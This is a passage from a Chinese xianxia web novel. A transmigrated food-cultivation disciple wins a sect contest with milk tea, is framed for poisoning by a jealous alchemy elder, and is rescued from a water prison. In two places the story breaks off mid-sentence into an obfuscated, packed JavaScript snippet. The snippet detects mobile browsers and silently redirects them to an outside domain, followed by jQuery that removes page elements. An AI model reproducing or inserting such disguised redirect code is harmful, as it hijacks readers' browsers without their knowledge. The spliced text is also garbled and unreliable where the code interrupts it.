和上次的做法相同,依旧是煮好茶叶,再将牛乳倒入杯中,最后凝冰。这比起第一杯要快上许多,待两杯全部做好,拢共也不到半刻钟的时间。 无论是留仙台的长老,还是台下云里雾里的同门弟子,都没有看清这几人一通忙活到底是干什么。 “请长老们允许我细细介绍。”乌以灵走近几步,将两杯颜色味道各不相同的饮品轻放在桌上,“这两杯奶茶代表了我们食修系的最新发现,即改变传统食修修炼方法,放弃将自身灵力注入食物中,转而从食物本身下文章,最大程度激发食物之中蕴含的灵力。这样食修者不必再掏空自身修为,反而从食物里找到了取之不尽用之不竭的源头。我们将这称为食修的一大巨变,它代表着食修不再是吃力不讨好的修道之路,相反的,因为它可以从磅礴的外力中汲取能量,也意味着它在不远的将来可以惠及更多需要帮助之人。” “一派胡言!”坐在丹修长老梅雪青旁边的男人拍桌而起,“你这丫头简直胡闹!李观水就是这样教导你们的?满口谎话大放厥词!成何体统!” “竹君,不要这样。” 梅雪青按住那个男人的手,又转而看向乌以灵,语气温和至极,“孩子抱歉,竹君性子急躁了些,你不要放在心上。再讲讲吧,你们的发现我很感兴趣。” 苏烟枝偷偷和乌以灵传声道,“那是丹修二把手关竹君,你可以理解为半个长老,脾气坏得很,经常无缘无故骂我们。” 乌以灵语气里的热情分毫不减,似乎全然没有受到外物影响,“多谢梅长老给的机会,但我的话句句属实,天地可鉴,更何况是宗门大比这样个神圣庄严的场合,弟子岂敢妄言?” “这两杯虽然都是奶茶,其制作思路也基本相同,但他们的功效却截然不同。先来说第一杯,这杯由几种灵果组成,仙界灵果随处可见,但唯有经过悉心栽培的才能称为高阶灵果。虽然灵果间品此不一,但却统称为‘灵果’,但殊不知各种灵果间的功效也全然不同。比如这杯中的黄色灵果,可以通过活络筋脉让人容光焕发,从而灵力暴涨。而红色的则是可以清除体内郁结之气,让人周身灵力流转通畅。” 乌以灵说着将这杯灵饮推到宗主颜鹤子面前,“请宗主品鉴。” 颜鹤子笑眯眯地接过杯子,仰头将液体送入口中。 片刻之后,颜鹤子握住她的手,稚子清脆的声音清楚地传入每个人的耳朵里,“确实如你说的般神奇。而且,我很喜欢它的味道。” 入口之初是浓郁醇厚的果香,浓烈到几乎让人溺毙其中,但在这样的果香堆叠之中却分毫不让人觉得腻味,反倒因为牛乳的加入多了些恰到好处的清爽,而其中保留的果肉和西米更是意外地惊喜,让整杯饮品在品尝中也不显得单调。 某个瞬间竟是让活了千万年的颜鹤子想到了真正的孩提时代,那时无忧无虑地奔跑在故乡的田埂上,鎏金色的日光当头落下。 “您喜欢就好。”乌以灵微笑道,“能得到宗主的认可,我们荣幸万分。” “怎么可能?” 关竹君按捺不住自己心里的扭曲,再次霍然而起,他扬声道,“宗主你莫要照顾这丫头的面子,大比应该一视同仁!” 颜鹤子示意梅雪青把手里的琉璃盏递给关竹君,看着关竹君饮下后变了又变的脸色,再看着他不甘握紧的双手,才慢悠悠道,“竹君,不是我说你,你今日未免太不厚道了些,为何要屡屡为难这群孩子?是因为丹修十几年碌碌无为原地踏步,而食修弟子的新发现又与你们争利,所以心生妒忌了?” 被一语道破内心的关竹君面有不甘,随之而来的是被拂了面子的耻辱。他确实无法接受,丹修本就是通过炼丹帮人增进修为的修系,但他们已经十几年停滞不前,弟子们懒散不堪,腐败丛生,甚至闹出了丹药参毒的丑事。 这种情况下,他绝不允许食修这种最底层的修系骑到他头上来。过去他最瞧不起李观水,觉得他和他的食修都是群没用的废物。现在好了,李观水心里很得意吧?终于能扳回一局了? 他怨毒地瞪向最后排的李观水,却见这老东西只是眼睛眨也不眨地看着他的弟子,眼角似有隐隐的湿润。 关竹君心里后知后觉地涌起恐惧,他看着正向颜鹤子介绍另一杯灵饮的乌以灵,忽然想到要是真让这丫头成功了怎么办?他们都是通过外物服用从而增进修为的修系,别人是选择品种繁多口味独特的食修,还是单一无趣的自己?答案显然不言而喻。 关竹君死死咬紧牙关,看着乌以灵的目光充满了难以言喻的愤恨。 乌以灵忽略那道怨毒的视线,只是平静地从口袋里取出最后剩下的半块苍玉翎,“这是我今天另外想介绍的东西——苍玉翎。” 和苏烟枝那天预料的一样,弟子们毕竟没有亲自尝到奶茶的味道,此时心里难免半信半疑,但随着乌以灵搬出存在于神话中的苍玉翎,原本沉寂的气氛里有如冷水下油锅,瞬间沸腾喧闹起来。 千百双目光看着那小块乳白色的普通晶体,想到的却是传说里可以医死人药白骨的奇珍异宝。 “此物即是传说中的苍玉翎,但我今天并非想介绍它的神奇,而是想证明它只是普通的混合茶叶,是生于苍玉江底的茶叶。” 现场的惊呼声宛如浪潮,一声高过一声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16211488|180905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站在剑修前排的林昱南听见同门小声问他,“林师兄,这人所言当真?我记得你前些日子去苍玉江除魔?可有听过什么?要是苍玉翎真就是那什么茶叶,未免也太幻灭了吧?” 林昱南却是前所未有的认真,他一本正经地看着满脸不信任的同门,逐字逐句道,“真的,是真的。而且她的奶茶,确实神奇。” 同门挠挠头,很快把这句话向风一样传遍了整个修系。 颜鹤子饶有兴趣地看着乌以灵,“既然是普通茶叶,你又想用它做什么呢?” 乌以灵笑道,“宗主一试便知。” 半晌,颜鹤子放下琉璃盏,“很独特的味道,我想听听你对它的看法。” 乌以灵默认这是现场答辩环节,将早已准备好的话脱口而出,“正如长老所感知到那般,这一杯不能增长灵力,但却能让人洗尽铅华,灵髓重生。而这正是苍玉翎所代表的混合茶叶所带来的功效,只要把它们和牛乳共同熬煮,便能产生这样的功效。” “苍玉江千百年来因为莫须有的传说历经战火,因为虚妄飘渺的仙宝饱经沧桑,也因此诞生了为祸一方的魔物,但最后的珍宝却只是我们手中最常见的茶叶。” “当我第一次拿到苍玉翎时,我听见了江水千年的悲鸣,看见了滂沱大雨里冤魂的不甘,所以我想打碎那无依无据的神话,把苍玉翎的真相带到世人面前。传闻的虚无缥缈总是不可依靠的,唯有抓在手中的希望才是真实。” 颜鹤子笑着拍拍乌以灵的肩膀,他站起身,迈着稳健的步子走下留仙台,在乌以灵身前驻足。 乌以灵蹲下身与他平视。 “观水同我说前些日子收了个有趣的徒弟,我鲜少见到他那样高兴。”颜鹤子把手中把玩的琉璃珠交予她,“今日一见果然如他所言,有趣极了。” “此珠名为菡萏蕊,可充作护身符,庇佑你免收外物侵扰,今日将它赠与你,算是那两杯灵饮的报酬可好?” 乌以灵凝视着手心里通体莹润的淡粉色宝珠,在接过的瞬间,她立即感知到身后苏烟枝和安慈几乎有如实质的狂喜雀跃。 “多谢宗主厚赠。” 正欲离去时,乌以灵像是感知到什么般抬起眼,忽然对上了晏山青含笑的眼睛,夕阳斜洒下落日浮光倒映其中,又在不辨真假的笑意里揉碎成粼粼碎金。他似乎用嘴型和她无声说了什么。 做得好,小乌。 呵呵,其实后槽牙都咬碎了吧。 乌以灵垂眸默默腹诽着,在转身准备离开时,忽然感知到背后那道充满了怨念的目光,几乎要把她活生生烧穿。她此时隐隐察觉到这目光里潜藏的不对劲,但来不及多想,就被苏烟枝和安慈簇拥着走下台。 与走上台时的嘘声不同,他们再次走下台时满场寂静。 颜鹤子给出的菡萏珠代表着他每年最看好的弟子,这已经是公认的传统了。这才比赛初日,颜鹤子便将它给了出去,这在玉音宗创建以来几乎是闻所未闻的,就连当年一剑凌霜的晏山青也没有过这种待遇。 宗主有多么看好食修的这次变革,显然不言而喻。 而那个代表着食修改革的少女,她的名字无疑会出现在接下来玉音宗的每个角落里,伴随着过去草包废柴、痴心妄想的名声,和如今脱胎换骨、淬炼新生的模样一同,成为未来长久时间里永恒不衰的话题。 乌以灵似乎对此早有预料,她在下台之前,忽然像是想到什么般回过头,对着远处流淌不息的水蓝色汪洋摇摇挥手。 灿金色的夕阳下,陌生而熟悉少女眉眼自信从容,霞光映着她红扑扑的脸颊。 “诸位有何疑惑,欢迎来食修学宫探讨,我们随时奉陪。” 说完之后,她没有再做停留,和苏烟枝与安慈一道,向着远山霞光而去。 17. 黑糖珍珠奶茶 走在去往食修学宫的羊肠小路上时,苏烟枝和安慈一左一右围着乌以灵,吵吵闹闹地要看乌以灵手上的那颗菡萏蕊。 苏烟枝小心翼翼地捧着那颗流光溢彩的珠子,眼中难以置信的惊喜几乎要溢出来,“天呐小乌,我不是在做梦吧?我们居然真的做到了!” 说着她用力掐了把安慈的胳膊,见他吃痛地跳起来,才确定了自己没有在做梦,又在安慈骂骂咧咧的背景音里顾自沉醉,“你们知道吗?其实我上台前特别紧张,我这辈子还没有经历过这么大的场面。但上去之后忽然就什么都感觉不到了,只顾闷着头忙手里的事……我们真的成功了!小乌你太厉害了!” 乌以灵摸摸她的脑袋,无比清楚地看见了苏烟枝眼中纯粹真诚的崇拜,在夕阳下像是泼洒而出的橙红烛光,融融暖意瞬间流遍四肢百骸。 安慈背着沉重的包裹,但语气却是前所未有的轻快,“太好了小乌,经此之后,我们食修系算是彻底崛起了。小乌你简直是我们的恩人!” “哪有这么夸张,我也是食修系一份子,为自己家增光添彩不是应该的?”乌以灵笑道,“好了好了,快些回学宫吧,不要在路上耽搁了。” “也是。”苏烟枝加快脚步,“这么久没回去,师兄师姐们该着急了。” 但没走两步,她看着并肩而行的三人,有些奇怪地摸摸下巴,“话说这路从前有这么宽敞吗?我怎么记得之前最多并排走两个人呢……” 正说着,他们隐隐约约听见远处松柏掩映间传来喧闹人声。 待穿过树荫草木,映入眼帘的景象让三人都愣住了。 原本显得冷清破落的食修学宫,此刻被挤得水泄不通。各色各样的弟子几乎要把门槛踩榻,甚至里面甚至还参杂了几个面熟的长老。 原来竟是汹涌的人群把原本窄小的走道活生生踩宽了。 几个食修弟子心力交瘁地应付着七嘴八舌的询问,忽然有眼尖的瞥见乌以灵三人回来了,当即眼睛一亮,如见救星般连忙朝他们招手,“师妹!你们回来了!” 只听话音落下的瞬间,原本喧闹的人群忽然安静下来,齐刷刷回头望着乌以灵。 乌以灵:“……” 好吧应该想到还有这一遭的。 她轻咳两声,主动开口,“诸位可是有疑问?” 一众人你看看我我看看你,最后有人大着胆子开口,“乌师妹,我们想来看看今日大比时你做出的奶茶,不知能否赏脸?” 乌以灵望着外头暮霭沉沉的天色,又看看眼前黑压压的人群,最后又看看旁边疲态难掩的食修师兄师姐们,心知现在并不是为众人排忧解难的好时候。 “自然是可以的。”乌以灵笑道,“但眼下时辰不早了,再过一个时辰就该是宵禁了。到那时要是学宫里还有这么多人,我们也不好和长老们解释。而且今日大比下来,想来师兄师姐们也辛苦了,不妨明日再来。到那时,我定会为师兄师姐们解答心里的疑惑。” 她说的不是没有道理,眼下确实临近宵禁,众人也确实不能待太久。 于是众人虽心有不甘,只能怀揣着满腹好奇期待,陆陆续续离开食修学宫。 送走最后一个人时,乌以灵关上门,又疲惫地靠在门板上。她捏捏眉心,对苏烟枝和安慈道,“你们先走吧,我今夜想留下来。” 苏烟枝奇怪,“怎么了?” 乌以灵眉宇间笼罩着淡淡的阴影,她斟酌半晌,踌躇着开口,“我总觉得,丹修那个关竹君长老今日的样子……怕是有些不对劲。大比仍未结束,我担心在这几天里会出岔子,想着留下来看着这里的食材。” 安慈下意识开口,“你担心会有人搞小动作?” 苏烟枝听后连忙按住他的嘴,迅速压低声音,“声音小点!被人听见议论长老够我们喝一壶的!” 她又看向乌以灵,神色凝重,“我也觉得不太对劲,关长老对我们的敌意未免太明显了些。他平时虽说不讲理,但也不至于和我们这些后辈弟子过不去。今日他这样失态,看来我们是真的得罪他了……这样吧,我们和你一起留下来,多个人也多个帮手。” 乌以灵原本有些疲惫的脸上露出笑容,“那就谢谢你们了。” - 入夜后的学宫冷清寂静,乌以灵认真仔细地锁紧门窗,苏烟枝来回给石屋下了五六道禁制,安慈则抱着铁铲守在门口。这番忙碌之后,几人才算勉强放下心来。 苏烟枝率先熬不住困意,没多久就趴在桌上倒头睡去。 乌以灵取来毯子披在她身上。 就在她准备坐回原处时,外面树林间隐约传来细不可查的枝丫断裂声。 在寂静的夜里,这声音显得异常清晰。 似是有什么人悄悄穿过树林缓步走来。 安慈绷紧神经,他握紧手中的铁铲,靠近门缝向外张望。 “吱嘎—吱嘎——” 万籁俱静间,除却步步逼近的脚步声,再能听见的就只有被放大无数倍的剧烈心跳声。 这个点师兄师姐们都知晓有宵禁,不会再出门。 而食修学宫位置偏僻,寻常情况下鲜少有人经过。 外面的人不论是谁,都不会是个好预兆。 安慈与乌以灵互看一眼,两人同时点点头,默契地退到门后。 在大门被从外推开的瞬间,安慈毫不犹豫地拿着铁铲拍上去,乌以灵同时用力拽下苏烟枝布下的陷阱。 只听唰啦一声,十几根细细长长的锁链从天而降,牢牢锁住被安慈压在身下的身影,甚至还没来得及挣扎,就被捆成了粽子。 安慈下意识要去抓他的头发。 嗯?怎么没抓到? 而后,一个圆溜溜的锃亮光头出现两人眼前。 “蒋卜同?怎么是你?”安慈眉头紧皱,他恶狠狠瞪着蒋卜同,语气不善,“你大半夜鬼鬼祟祟来这做什么?” 乌以灵居高临下审视着蒋卜同,这人不过半月未见,却和上次见到的样子大相径庭。眼前的蒋卜同再不复初见时的嚣张跋扈,他浑身散发着难闻的腐臭味,人也瘦了一大圈,几乎瘦脱了相,眼周青黑发紫,活像个快病死的脏狗。 安慈显然也闻到了他身上的怪味,满脸嫌弃地站起身退到旁边。 他们动静不小,苏烟枝迷迷糊糊睁开眼,在看到蒋卜同的光头后,下意识蹦出两句听不懂的土语。 “说话,你为什么在这?”乌以灵蹲下身,她仔细端详着蒋卜同那张脸,试图从中找出不对劲的地方来,“你许久没有外出,甚至连宗门大比都没有到场,又为何在深夜潜入与你素不相干的食修学宫?” 蒋卜同像是被下了哑药般,咬死了一句话不说,他固执地偏开头去,不理会乌以灵的质问。 安慈有些不耐烦地抓抓头发,“小乌,他不开口怎么办?我们也不能强上啊?” 苏烟枝也被蒋卜同琢磨不透的态度弄得发懵,“要不把他交给李长老?又 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乌以灵的脸色骤变,她飞快跑上前。 但终究是晚了一步。 蒋卜同在她面前直挺挺向后倒去,重重砸在地上,双眼瞪得极大,眼珠几乎要跳出眼眶,像是看到了什么可怕的东西。紫黑色的血水从他口中汩汩流出,很快在地面晕开血泊。 苏烟枝颤颤巍巍地伸出手,在他的脉搏上探了又探。 “他……他死了……” 苏烟枝倒抽口凉气,脸上最后一丝血色褪去,她哆嗦着唇,“怎么会这样?” 安慈大步迈上前,用力掰开蒋卜同的嘴巴,那股诡异的腐臭味瞬间扑面而来,像是生吞了无数死去多时,满是蛆虫的腐肉。 “毒药。”安慈咬牙切齿,“他服了毒药。” “为什么?” 苏烟枝下意识追问。 她来玉音宗半年,除了苍玉江那件事,还没经历过什么大风大浪,现在同门惨死眼前,她几乎不敢看蒋卜同怪异渗人的尸首。 是啊,为什么? 豆大的汗珠滚落在地,乌以灵攥紧手心,她也在心里问自己为什么? 她和蒋卜同确实有仇怨,但真的至于让蒋卜同自寻死路吗?又或者说,蒋卜同这样唯我独尊自傲蛮横的人,真的会甘心去死吗? 怪异的束缚感死死缠住乌以灵,让她感到强烈的窒息。她知道这背后必然有更深的原因,但那究竟是什么? “哐当——” 紧闭的大门忽然被重重踹开,眼前瞬间亮如白昼。 乌以灵猛然抬起头,猝不及防地对上几十双神色各异的眼睛。 浩浩荡荡的人群包围着学宫,里三层外三层把屋子围得水泄不通。 他们的目光在乌以灵和陈尸在地的蒋卜同身上来回打转,交头接耳时的窃窃私语像是汹涌的浪潮转眼间将乌以灵淹没。 而为首的人正是让乌以灵怀疑许久的关竹君。 只见这人扫过死不瞑目的蒋卜同,又紧紧盯住乌以灵,语气严肃不容抗拒。 “食修弟子乌以灵,宗门大比时便用含毒食材投机取巧,妄图以邪门歪道迷惑宗主。其所呈之物,看似助人增长修为,实则是亡命剧毒!现在失手惨害同门,证据确凿,酿成大祸!” “来人,给我拿下他们!压入水牢,等候宗主审问。” 18. 黑糖珍珠奶茶(三) 变故发生在瞬息之间。 几个五大三粗的弟子扑上来就要绑人,苏烟枝和安慈完全被突如其来剧变砸懵了,甚至还没反应过来,就已经被上前的弟子死死按住,动弹不得。 乌以灵脱口而出的话比脑子转得更快,被力道蛮狠的弟子按到在地时,她仰头死死盯着关竹君,“长老空口无凭,为何说我的奶茶含有毒药?又为何一口咬定蒋卜同为我所杀?长老这样仓促抓人,未免太有失公正!” “证据?黄口小儿口气倒不小。”关竹君冷笑两声,他朝身边的弟子递了个眼色,“乔十三,把证据拿给她,让她好好看看自己做了什么恶事。” 乔十三,赫然就是白天那个公然挑衅他们的长脸少年。 只见乔十三趾高气昂地走到乌以灵面前,拿出白日乌以灵留在颜鹤子面前的半杯奶茶,又往里面倒入了半瓶不知名液体。 眨眼间,原本散发着甜香的奶茶忽然像是沸腾般剧烈跳动,铺天盖地的诡异腐臭味扑面而来。 那味道,居然和蒋卜同口中的一模一样! “看清了吗?”乔十三语气讥诮,眼中的心灾乐祸毫不掩饰,“这是本源水,能让东西化成它们原本的样子。你做的这杯玩意里,居然敢加入剧毒千丝草,那东西确实可以短时间里让人修为暴增,但代价是透支身体,服用久了必遭反噬,直到毒发身亡。” “蒋卜同本来身体就不怎么样,你还给他喝这个东西,莫不是诚心要害他?也是,你们关系也不怎么样,听说他秃头和你有关系。你是不是觉得自己马上就要飞黄腾达了,断定不会有人发现你作恶多端,所以居然敢残害同门!” “一派胡言。”乌以灵冷笑两声,几乎是寸步不让,“这杯东西自傍晚呈给宗主后我便再没见过,经手之人众人,谁都可以往里面投毒,为什么料定是我?你也说了蒋卜同与我有仇,又为什么料定是我杀他?而不是他蓄意陷害,故意死在这嫁祸我?” “你居然敢顶嘴!” 乔十三勃然大怒,他恶狠狠地扯住乌以灵的衣领,但低头时却对上了她波澜不惊的眼睛,在这双眼睛里他丑陋又愤怒的面孔被无限放大。在她的冷静之下,自己的焦躁扭曲反倒显得格外可笑。 关竹君一甩衣袖,没有与她争辩,“你小小年纪不学好,反倒钻研邪门歪道,过去听闻你苦恋晏山青,还做了不少蠢事。今日我本以为是你改邪归正了,没想到还是死性不改。老夫不想同你多说什么。” “把他们带走,让宗主亲自审讯。” 不由分说的大力几乎把乌以灵凭空提起来,她也没有挣扎,只是迅速让自己清醒过来,企图理清楚眼下混乱的思绪。 - 半刻钟后,乌以灵三人被带到后山一片深不见底的池水边。 明明四周灯火通明,但池水里却没有丝毫倒影,只能看见一片死寂的漆黑,不由分说地吞噬了周遭跃动的火光。 还没反应过来,三人便被粗暴地被丢进池水里。 没有想象中的窒息,短暂的坠落感后,乌以灵摔在了某种湿漉漉的东西上。 乌以灵摇摇脑袋撑坐起身,只见眼前昏暗无比,唯有角落里几盏怪异的烛火摇曳着,抬头能看见波光粼粼的暗色水幕,蜿蜒的水流不断沿着头顶淌下,这里潮湿闷沉,压抑得令人呼吸艰难。 她低头看去,发现自己坐在一片不算大的圆盘上,触感像是某种肉质的东西,柔滑粘腻。圆盘下是流淌的暗河,而河水里隐约传出让人毛骨悚然的悉索声,仿佛里面潜藏什么可怕的怪物。 “烟枝?安慈?” 乌以灵小心翼翼呼唤着同伴们的名字,却许久没有听见回应,唯有水流滴答与空洞回音无用地盘旋着。 她察觉到不妙,连忙拿起地上的烛火四下探照几圈。 这里只有她一个人。 乌以灵深吸一口气,即使握着烛火的手有些发抖,却仍然强迫自己镇定下来。 烛火光线微弱,似乎随时都可能熄灭,昏黑的水牢里时辰难辨,乌以灵分不清过了多久,可能是不到半刻钟,也可能过去了半宿。 乌以灵手脚冰凉,呼吸越发艰涩,她双臂紧紧环着肩膀,试图从身上汲取微薄的暖意,但刺骨的冰凉却在短时间里迅速渗入四肢百骸。她能感知到自己的思绪逐渐变得粘稠混沌,模糊而朦胧的触觉让她好似置身幻梦之中。 直到原本粘腻冰凉的水牢隐隐约约变得渺远。 - “小乌,不要睡了,要上课了哦。” 乌以灵睁开眼睛,对上了前桌担忧的目光。 再抬起头时,看见了黑板上鲜红刺目的高考倒计时。 这是哪里? 高三的教室? 在乌以灵愣神的空隙里,同桌凑上来靠在她胳膊上,冬季校服摩擦间发出悉悉索索的声响,“小乌你也太拼命了。你又要打工养活自己和脆啵啵,又要为了奖学金没日没夜地卷生卷死,这样下去身体会吃不消的。” 乌以灵感觉到自己似乎沉默了很久,半晌才道,“没有关系,等熬过这段日子就好起来了。” “下次你去打零工的时候,可以把脆啵啵带来我家呀。”前桌笑眯眯地捏捏她的脸,“我家新买的猫粮口味不错,没准脆啵啵会喜欢呢。” 乌以灵笑笑,“好,多谢你了。” 她又从桌肚里掏出本书页泛黄的书,交还给同桌,“看完啦,谢谢你的书。” “怎么样,是不是够狗血?够刺激?”同桌追问道,“我就说了,像我们这样麻木苦逼的高三牲,就该读点恨海情天古早虐文调剂调剂。” 乌以灵的目光落在书页间,她听见自己轻声开口。 “确实是很有意思的书。” - 意识再次回笼时,乌以灵感觉到自己似乎被圈禁在什么温暖的东西里,因为距离靠得极尽,她甚至能嗅到对方身上温暖的气息。在四肢被冻得几乎麻木的情况下,乌以灵下意识靠得更近。 “师妹这般投怀送抱,我可招架不住。” 带着调笑意味的熟悉声音在耳边响起,一瞬间将乌以灵拉回了现实之中。 “晏师兄?” 乌以灵费力至极地睁开沉重的眼皮,恍惚间看见了身边熟悉的青色衣摆,还有琉璃灯熟悉的暖色光晕。 她摇晃着昏沉的脑袋,挣脱晏山青的怀抱,撑坐在地面上,勉强支起精神,主动开口询问,“晏师兄怎么来了?” 晏山青似乎有意逗她,“你猜。” 乌以灵笑笑,“师兄是觉得我死了之后,怕是自己也不好过,所以来救我一命?” “猜错了。”晏山青故意顿了顿,“没想救你,只是想看看你打算怎么办。是等死?还是又能想出什么稀奇古怪的手段逆风翻盘?” “不过……” 晏山青话音落下之际,忽然伸手在她额间轻叩两下,碧蓝色的灵力眨眼间流遍全身。在灵力融入身体的刹那,乌以灵立刻发觉身上经久不散的寒气如潮水褪去,而如同水雾遮蔽思绪的怪异感也消失殆尽,就连那种如影随形的压抑不适也不复存在。 “师妹莫非不知这水牢里的水含有寒毒的?浸染久了,可是会损伤根基,甚至于夺人性命。你居然就这样毫无防备的中招了?”晏山青看着自她额角蜿蜒而下的水珠,顺手般将它拭去,“有时候怀疑师妹不是此处的人。这样人尽皆知的事,为何师妹反而不明白?” 乌以灵在听完他的话后才茅塞顿开。 这人猜得还挺准,自己还真不是这个世界的人。 所以刚刚她看到的画面,是死前的走马灯? 乌以灵撇撇嘴,哪有人走马灯是高三教室的? 就算真的是走马灯,那出现的也应该是…… “外面现在情况如何?”乌以灵脑子清醒点后没有片刻耽搁,当即问起她现在最担心的事,“还有你可知晓烟枝和安慈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16233701|180905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在哪里?” 晏山青饶有兴致地看着她,“外面倒没什么,关竹君一口咬定你擅用毒物,残害同门。他已经把这事闹到宗主面前了,不出意外明日应该会由宗主亲自审讯你。至于你那两个同伴……放心,他们比你脑子好使点,至少知道在被关进水牢后要在身上施加个隔水避毒的术法。” “如何?对明天的审讯有信心吗?” 乌以灵听后不由发笑,她脸色惨白如纸,甚至在阴冷的水牢里冻得隐隐发青,嘴唇也毫无血色,但唯有双眼睛亮得惊人,几乎像是两团燃烧的火焰。 “师兄不必担心,我有信心。”乌以灵望着晏山青的目光坚定而认真,“关竹君如今不过狗急跳墙,他看似占据上风,实则早已方寸大乱,否则也不会使出这样漏洞百出的伎俩。嫉恨与焦虑淹没了他,他所施加的恐惧与威胁或许会让我暂时恍惚茫然,但不会彻底吞噬我。只要尚未被内在的心神左右,事情就仍然在我的掌控制下。” 晏山青静静看等着下文,“你想如何?” 乌以灵飞速回想着与关竹君对话时的片段,“说实话,我真看不出关竹君这一手高超在哪里。不过就他现在这副被仇恨冲昏脑子的样子,也想不出什么高明的手段。他手中完全没有能将我置于死地的证据,那个说不明白出处的千丝草和本源水算得了什么证据?至于蒋卜同的死就更扯了,他只是死在食修学宫,就咬定是我杀了他,未免太荒谬了些。” “事已至此,不难看出蒋卜同是和关竹君串通好的,否则蒋卜同何必夜闯食修学宫,关竹君又在他自尽后恰巧赶到。正好这两人都对我有怨恨,巴不得我身败名裂,所以联手整了这样一出。当时关竹君仓促定罪,不容我们解释一句。最初我以为是他心虚,现在想来……”乌以灵眼中寒光闪过,语气笃定,“怕是因为蒋卜同压根没死,他们两人不过是做戏应付外头,而关竹君不想进一步验尸,正是担心会被看出端倪。” “说对了。”晏山青眉头轻挑,“蒋卜同确实没死,我恰巧见过他的尸体,认出他其实服用了丹修特有的离魂丹,这种丹药可让人暂时处于被毒死的模样,但也最多维持两天。至于口中的异味,也是为了让你们误以为他死于千丝草之毒。” “关竹君留下的漏洞不少,把这事翻盘根本用不着动脑子。”乌以灵忽然笑了笑,“不过这也太便宜他们了,既然他想要要我身败名裂,那我当然得悉数奉还。” 乌以灵沉默片刻,忽然提出了一个困扰她许久的问题,“为什么关竹君会这么恨我?甚至不惜赌上前程后路也要拉我下水?就算我们走的道有共同之处,但也不至于如此不留情面吧?” “丹修这几年不太好过,梅长老实际上不太管事,丹修大小事务都是关竹君打理,在这人把持下,丹修走了十几年下坡路,眼见就要到山底了。”晏山青解释道,“日薄西山的境况下,忽然出现一个可能威胁他,甚至于颠覆丹修根基的人,他怎能不恨?” 听了这话,乌以灵目光微动,朦胧不清的情绪在她眼里翻涌,最后却又归于平静,她望着暗沉沉的水面,声音近乎低不可闻。 “是吗?” 晏山青注意到她刹那间的异样,这种少见的真情流露,倒是让他有些新奇,好像看见了时时刻刻谨慎认真,完美到近乎虚假的人裂开了一条缝隙,让他隐约窥见裂缝中隐藏的过往。 “乌以灵,你可曾后悔?”晏山青忽然问,“若是像从前般碌碌无为,虽说没有出头之日,但也不至于像现在这般颠沛流离,时刻悬于风口浪尖。” 乌以灵瞥过他,她站起身,语气平静,“没什么好后悔了,既然选择了出人头地,我就也做好了粉身碎骨的准备。但前提是,我会得到我想要的。” 比如,从你手中活下来。 比如,将关竹君和蒋卜同施加于她的加倍奉还。 又比如,让所有陷害过她的,诋毁过她的人,再听见她的名字时,心中唯有敬畏。 19. 黑糖珍珠奶茶(四) “抓紧了。” 晏山青的声音低沉而短促,乌以灵下意识抓住他的手臂,随即下一刻天旋地转,视线再次变得清晰时,她看见了满眼泪花的苏烟枝。 “小乌!” 苏烟枝带着哭腔扑上来,紧紧抱住她。 旁边则是神色焦灼的安慈,甚至角落里还蹲着不知道从哪来的林昱南。 晏山青冷不丁开口,“这里是水牢的第一层,比起你方才待的水牢底层要安全得多。” “小乌你没事吧?方才晏师兄同我们说会把你悄悄带出来,太好了,终于见到你了。”苏烟枝来回摸摸乌以灵的手,但没多久眼眶又有些泛红,她声音哽咽,“小乌,我们该怎么办?关竹君他们简直欺人太甚!” 乌以灵回握住苏烟枝的手,一遍遍轻声安抚着她。 她又回头看向未发一言的晏山青,主动开口,“多谢晏师兄了。” 安慈拳头攥得咯咯作响,他一拳头重重砸在地面上,“该死的,这种下作手段,他身为长老居然敢堂而皇之使出来。” 乌以灵移向旁边的林昱南,“林师兄怎么也在这?” 林昱南显然也很焦急,他脸上虽然没有什么表情,但手上的动作却比划得飞快,“担心,知道你们不会,是陷害……去找李长老,他托我带上水牢的通行令……就来了。” 虽然表述依然令人堪忧,但基本意思勉强听懂了。 “烟枝,你之前是不是说过,李长老和丹修梅长老私交不错?” 听见乌以灵的问题,苏烟枝抹去眼角的泪花,神色也变得凝重,“是这样的,但也就是因为这两位长老是好友,他们都得在我们这件事里避嫌,否则都会被质疑有失公正。” 安慈恨恨开口,“关竹君这出果然阴险,甚至连后路都断了。” 林昱南看看安慈和苏烟枝,又看看乌以灵,迟疑地比划着,“有…有我能帮忙的地方…吗?” “谢谢林师兄,的确有事相求。”乌以灵笑道,“能否借师兄的传声镜一用?” “哦哦…哦,当然。” 林昱南手忙脚乱地在怀里摸索一通,终于找到那个被修补完好的传声镜,上头甚至还残余着温凉的体温。 然而,就在镜子即将递入乌以灵手时,一只修长的手忽然横插进来,不留痕迹地推开了林昱南。 一块崭新的传声镜落在乌以灵手心。 乌以灵偏头看去,对上了晏山青波澜不惊的目光。 “昱南的那个有些旧了,既然想用,不如换个好的。” 乌以灵心里的异样转瞬即逝,只是她现在无暇理会晏山青间歇性发作的病娇占有欲,她佯装一无所知地接过传声镜,“多谢晏师兄。” “传声镜有什么用吗?” 苏烟枝和安慈凑上前来,怀着对乌以灵的信任,满脸认真地打量着那块传声镜。 乌以灵有些好笑地在他俩脑壳上各敲一下,“不是让你们看这个东西。” 